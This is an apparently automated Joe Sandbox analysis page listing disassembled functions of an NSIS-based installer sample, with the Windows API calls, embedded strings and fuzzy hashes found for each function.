Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 9cf786e25966daeabf755d20ab7dea7749e4d7b73da7bae0acc5cbd00c8c4fee
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Rename: %s, xrefs: 004018F8
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Call: %d, xrefs: 0040165A
Rename failed: %s, xrefs: 0040194B
CreateDirectory: "%s" created, xrefs: 00401849
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
detailprint: %s, xrefs: 00401679
Aborting: "%s", xrefs: 0040161D
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
Jump: %d, xrefs: 00401602
Rename on reboot: %s, xrefs: 00401943
SetFileAttributes: "%s":%08X, xrefs: 0040177B
BringToFront, xrefs: 004016BD
Sleep(%d), xrefs: 0040169D
SetFileAttributes failed., xrefs: 004017A1
CreateDirectory: "%s" (%d), xrefs: 004017BF

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

@rD, xrefs: 00405965
@%F, xrefs: 004059F6
RichEd20, xrefs: 00405B9D
RichEd32, xrefs: 00405BA8
.exe, xrefs: 00405A3D
B%F, xrefs: 00405A1F
RichEdit20A, xrefs: 00405BB6, 00405BBB
.DEFAULT\Control Panel\International, xrefs: 00405999
_Nb, xrefs: 00405AD1
RichEdit, xrefs: 00405BC4
Control Panel\Desktop\ResourceLocale, xrefs: 00405972

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 0b5ab136357e203ee2e090d14ec2b93cf78a9c4147554daf2c52a3a548f14690
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error creating "%s", xrefs: 00401AF0
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: wrote %d to "%s", xrefs: 00401BD0
File: error, user abort, xrefs: 00401B53
open, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user cancel, xrefs: 00401B93
File: error, user retry, xrefs: 00401B40

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$open
API String ID: 4286501637-2478300759
Opcode ID: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b155778cc10115f8d02ccc56e208397f172a866a515c636f57ea647fec07d827
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Inst, xrefs: 0040366C
Error launching installer, xrefs: 004035D7
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Null, xrefs: 0040367E
soft, xrefs: 00403675

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

X1C, xrefs: 0040343C
... %d%%, xrefs: 0040349E
P1B, xrefs: 004033A9
X1C, xrefs: 004033ED

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 4a81920338a541d7bcc419c3bcbb2810a04374694b2a6e658d803f75c228445d
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNELBASE(00000000), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8
open, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674448292.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_installer_1.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$open
API String ID: 1459762280-1711415406
Opcode ID: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1882500a3a7973729244276bdae00bfd603f91a0f1c5eacb79451a398e12722f
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNELBASE(00000000), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1674054159.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1673725709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674271997.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674307396.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
